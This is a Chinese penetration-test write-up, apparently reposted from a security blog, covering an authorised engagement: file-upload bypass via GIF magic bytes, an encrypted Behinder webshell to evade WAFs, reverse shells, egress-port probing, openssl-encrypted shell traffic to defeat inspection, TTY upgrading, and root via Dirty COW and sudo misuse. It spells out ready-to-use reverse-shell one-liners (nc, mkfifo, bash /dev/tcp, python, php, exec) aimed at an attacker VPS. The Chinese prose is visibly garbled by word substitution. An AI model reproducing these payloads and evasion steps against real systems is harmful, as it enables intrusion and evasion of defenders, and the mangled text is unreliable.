公众年夜众号:白帽子左一

前期事宜回顾:实战 | 记一次授权网络攻防演习训练(上)

建立据点

真是麻烦,整了这么久,才得到一个可用的上传功能而已,还不一定能上传 webshell,走一步看一步。

连接jsp一句话小马记一次授权收集攻防练习训练更刺激了下 GraphQL

在我看来,任意文件上传攻击应关注四个要素:找寻文件路径、指定文件扩展名、写入脚本代码、防 WAF 拦截。

找寻文件路径。
上传 webshell 后肯定要访问,势必得晓得文件写入路径,常日上传成功后,路径将回显在应答中,但该站并无回显,但好在它是个图片,以是,在页面右键即可查看文件路径:

同时,为了方便后续调试,我把查询文件路径的接口保留下来:

指定文件扩展名。
上传报文中,涉及文件扩展名的地方如下三处:

我得逐一验证哪个是影响做事端写入文件时用到的扩展名。

考试测验将第一处 fileName 域的 info.png 改为 info.jsp,确认写入文件名:

wow,这运气。

写入脚本代码。

接下来,我把上传报文中的图片数据更换为一行无害的 JSP 代码:

上传失落败,文件内容是唯一变更的地方,那么,我可以合理预测做事端要么检测了文件内容是否存在脚本代码,要么检测了文件头是否为图片类型。

验证是否检测了脚本代码。
我把这行 JSP 代码改为普通文本:

仍旧失落败,解释并非检测了恶意代码。

验证是否检测了文件头。

不同类型的文件都有对应的文件类型署名(也叫类型幻数,简称文件头),比如,PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A、GIF 为 47 49 46 38 37 61、JPG 为 FF D8 FF E0。

于是,我添加了 PNG 文件头后再次上传:

wowo,上传成功。
立即访问,确承认否解析:

500 缺点,不应该啊,就这么一行无害普通代码,怎么会导致做事端缺点呢?!

会不会 PNG 头中存在不可见字符,导致解析报错?

改成全是可见字符的 GIF 头试试:

确承认否正常解析:

呵呵,讲究!
换成 GIF 文件头可成功解析。

防 WAF 拦截。
接下来,我把无害 JSP 代码更换为命令实行的小马,成功上传、成功解析、成功实行命令:

哈哈,第七个洞,文件类型署名可绕过,导致任意文件上传 getshell。

我的内心开始放荡,抑制不住激动的心情按下了 F5,居然又出幺蛾子:

顺利写马、可以实行一次命令、刷新页面涌现禁止访问,这种征象,我疑惑 WAF 作祟,它创造流量中携带恶意行为后谢绝要求。

两年前,打破 WAF 我大概会用到这几种手腕:分块传输、畸型要求、转义序列、偏僻编码、TLS 滥用,而如今,划时期的冰蝎问世(只管它未开源),让我险些可以忽略 WAF 的存在。

上古时期的各种一句话、小马、大马早已成为各大 WAF 出厂默认封杀规则;传奇 webshell 管理客户端菜刀也年久失落修,明文流量毫无隐私可言;冰蝎,采取密钥变换手腕,将文本载荷转为二进制流,再进行加密传输,天生具备防流量监测的能力。

以是,我上传冰蝎马:

直接访问报错:

没紧要,冰蝎马未处理非常,不影响管理端连接:

现在,我可以随意实行命令:

管理文件:

题外话,关于上传漏洞,冰蝎流量监测、白名单扩展绕过,这有两点你可以理解下:

1. 冰蝎流量能逃过所有品牌的 WAF 监测么?险些是,唯一逃不过奇安信(原 360、原原网神)的天眼系统,冰蝎管理端与冰蝎马建立会话时须要获取动态密钥,这个过程中的要求与应答的两个报文存在特色,天眼的着力点在此(作者后续补充,此处为他见过有限的 WAF 品牌中,只有天眼能创造冰蝎的流量,其他大部份品牌未作验证);

2. 任意文件上传攻击,碰着做事端扩展名白名单的场景,除了常规的解析漏洞手腕外,还可能关注本地文件包含漏洞(LFI),以及 HTTP 参数污染漏洞(HPP),特殊是 HPP,在打破白名单限定时,很有杀伤力。

系统提权

webshell 虽然授予我实行命令、管理文件的能力,但毕竟不是真正的 shell,无法实行交互式命令、无法掌握进程状态、无法补全命令等等,非常不利于提权操作,以是,必须反弹 shell。

通过冰蝎在目标上实行反弹命令:

VPS 监听:

等昏过去了都没见到 shell 回来,反弹 shell 失落败!
导致失落败的成分很多,履历来看,常见如下几类:反弹命令不存在、禁止出口流量、限定向外访问端口、流量审查。

验证是否反弹命令不存在。
我常用的几个反弹命令:nc/nc.openbsd/nc.traditional、bash/sh/dash、python/perl/PHP/ruby、exec。

用 nc 反弹,命令如下:

nc <your_vps> 1024 -e /bin/sh

某些目标的 nc 不支持 -e 参数,有两个办理思路,要么利用其他版本的 nc:

nc.traditional <your_vps> 1024 -e /bin/sh

要么合营命名管道进行反弹:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f

用 bash 反弹:

/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1

用 python 反弹:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用 PHP 反弹:

php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");'

用 exec 反弹:

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

在目标上查看干系命令是否存在:

看来除 PHP 外,其他反弹命令都可用,那么先前反弹失落败并非 bash 命令的缘故原由。

验证是否禁止出口流量。

某些目标在防火墙上限定了出口流量,禁止目标主动向外发起网络要求,我操持通过带外(Out Of Band)的办法进行验证。
大致逻辑是,在攻击者自己的 VPS 上监测某种协议的网络要求,在目标上用这种协议访问 VPS,若在 VPS 上看到该协议的要求日志,则可推断出目标许可出口流量。

为了减少其他成分滋扰,我习气选用无端口的协议进行出口流量的测试,ICMP 最纯挚。

你知道互联网上随时都有 ICMP 的密查,导致 VPS 看到的日志量非常大,以是,我指定 ping 的包的大小,这样方便过滤。

第一步,虽然我指定了 ping 包大小,但实际大小由系统确定,先在目标上实行 ping 命令,获取实际包大小:

我用 -s 选项指定包大小为 64 个字节,系统实际发送了 92 个字节,以 length 92 为关键字查找 ICMP 记录。

第二步,在 VPS 上监控 ICMP 日志:

第三步,在目标上再次实行 ping 命令:

第四步, 在 VPS 上查看到大小为 92 的 ICMP 包:

经由以上四步,我确认目标许可出口流量。

验证是否限定向外访问端口。
某些目标限定访问外部端口,常见黑名单和白名单两种办法。

黑名单,比如,禁止目标机器向外访问 MSF 默认的 4444 端口;

白名单,比如,只许可向外访问 web 常见的 80 端口,把稳下,攻击端即便监听的 80 端口,getshell 的流量采取的也并非 HTTP 协议,而是普通的 socket,切勿与 HTTP 隧道 getshell 稠浊。

先前反弹失落败用的是 1024 端口,换个端口 2941 监听试试:

目标上用 HTTP 协议访问 VPS 的 2941 端口:

等待少焉,VPS 的并无 HTTP 记录,以是,疑惑采取白名单。

履历来看,端口白名单常日只许可向外访问 HTTP 做事的默认 80、HTTPS 做事的默认 443,于是,VPS 监听 443 端口,目标上访问 443,这时 VPS 上得到 443 端口的访问记录:

那么,我可以险些断定目标的确是用白名单机制限定了向外访问的端口号,个中预测出 443 端口在白名单范围内。

验证是否存在流量审查。

换成 443 端口后该当顺利反弹 shell,做事端的确也收到了 shell,但还没来得及实行任何命令,立时就就掉线了。
我预测做事端可能存在某种流量检测设备,以物理旁路、逻辑串联的办法接入在网络中,一旦创造恶意行为,分别向客户端和做事端发送 RESET 的 TCP 包,达到断开客户端和做事端连接的目的,表象类似传统堡垒机的防绕行机制。

流量审查,审查设备必定得到明文流量数据才行,要防审查自然想到加密流量。
以是,我不再大略地用 bash 来反弹 shell,而在此根本上,将原始流量用 openssl 加密,这样就能达到防流量审查的目的。

详细而言,第一步,在VPS 上天生 SSL 证书的公钥/私钥对:

第二步,VPS 监听反弹 shell:

第三步,目标上用 openssl 加密反弹 shell 的流量:

第四步,VPS 上成功获取加密的哑 shell:

现在,我得到的仅仅是个简陋的哑 shell,并非交互式 shell。
基于以下几个缘故原由,让我有强烈驱动力将哑 shell 转为交互式 shell:防止 ctrl-c 中断 getshell 会话、无法查看语法高亮、无法实行交互式命令、无法查看缺点输出、无法利用 tab 命令补全、无法操控 job、无法查看命令历史。

详细如下,第一步,在哑 shell 中实行:

$ python -c 'import pty; pty.spawn("/bin/bash")'

键入 Ctrl-Z,回到 VPS 的命令行中;第二步,在 VPS 中实行:

$ stty raw -echo$ fg

回到哑 shell 中;第三步,在哑 shell 中键入 Ctrl-l,实行:

$ reset$ export SHELL=bash$ export TERM=xterm-256color$ stty rows 54 columns 104

这样,我得到了功能完好的交互式 shell,比如,支持命令补全、语法高亮:

统统就绪,正式进入提权操作。

提权的手腕很多,比如,利用内核栈溢出提权、征采配置文件中的明文密码、环境变量挟制高权限程序、不屈安的做事、借助权能(POSIX capabilities)提权、sudo 误配、SUID 滥用等等。

我喜好快刀斩乱麻,将 linux-exploit-suggester-2 上传至目标后运行:

提示当前内核可能存在脏牛漏洞,上传本地编译好的脏牛 exp,实行后毫无波澜地拿到了 root:

虽然这个目标用内核漏洞成功提权,对我而言,只能算作运气好,在如今的网络安全生态下,运维职员已有足够的安全意识,安装系统补丁早已融入日常事情。

以是,我有必要分享一种内核漏洞之外的提权手腕,它的成功率非常高,并且不像内核提权那样可能导致系统挂起,它便是对系统完备无损的 sudo 误配提取手腕。

个人非常、十分、特殊喜好它,sudo 误配的一种利用手腕是,查看 home/ 目录下是否 .sudo_as_admin_successful 文件,若有则可以输入当前低权账号的密码直接 sudo su 切换为 root 用户,而在已经获取当前账号的系统环境的条件下,要拿到低权账号的密码,虽然有门槛,但也不是不可能(如,翻找各种配置文件)。

靶机 JIS-CTF-VulnUpload-CTF01 便是很好的一个案例。

首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:

接着,翻找文件找到其密码:

然后,创造 home/ 中存在 .sudo_as_admin_successful 文件:

末了,用 technawi 自己的密码切换为 root 用户:

就这样,成功提权!

说这么多,不是排名哪种提权手腕精良、哪种拙劣,能达到目的,适宜你思维模式的,便是最好的,你说呢!

故事尾声

到此,任务算完成了,全体过程很故意思,目标环境设有层层防御,但每道防线或多或少存在些小问题,多个小问题串起来,便成了黑客进入系统内部的攻击路径。

完全来说,全流程的攻击链包括信息搜集、漏洞利用、建立据点、权限提升、权限坚持、横向移动、痕迹打消等七步,虽然这个站点只经历了前四步,但也具有较强的代表性。

大略回顾下,大概经由以下关键步骤:

1. 密码找回功能处,图片验证码未刷新,导致可列举用户名,得到三个有效账号:nana、admin、liufei;

2. 密码找回功能,若是有效用户,做事端泄露有效用户的敏感信息,包括哈希密码;

3. 由于系统存在弱口令,导致通过彩虹表反解出 liufei 的密码;

4. 通过 liufei 账号登录系统,创造为低权账号,无可利用功能;

5. 回到 nana 账号上,通过制作社工密码,暴破出该账号密码;

6. 登录 nana 账号,找到上传点,但非 admin 而禁止上传;

7. 回到 admin 账号上,重新审查密码找回功能,创造存在 IDOR,可重置 admin 密码,但业务厂商奉告不能重置,作罢;

8. 再次登录 nana 账号,剖析上传要求报文,创造做事端通过 JWT 作为身份凭据,由于 JWT 采取弱密钥,导致垂直越权至 admin;

9. 以 admin 身份上传,做事端通过文件类型署名作为上传限定,可轻松绕过,成功上传 webshell;

10. 做事端审查 webshell 流量,无法永劫光利用,改用冰蝎马,实现 POST 数据二进制化、加密化,打破 webshell 流量审查;

11. 反弹 shell 时遇阻,目标设置向外访问端口白名单,通过各种手腕找到端口白名单包含 80、443;

12. 设置反弹 shell 至 443 端口仍失落败,创造目标支配反弹流量审查设备,于是,用 openssl 加密反弹流量,成功获取反弹 shell;

13. 为方便后续提权、维权、移动,通过技巧将反弹的哑 shell 转为全功能的交互式 shell;

14. 通过查找目标内核版本,创造存在脏牛漏洞,上传 exp 后顺利提权为 root。

末了,杜兄弟也兑现了承诺:

虽然做人要向 qian 看,但它并不是快乐的源泉,全程带阻、层层打破、直捣黄龙,或许,这才是真正的乐趣!

(部分信息敏感,内容适当调度)

作者:yangyangwithgnu

原文地址:https://www.freebuf.com/vuls/211847.html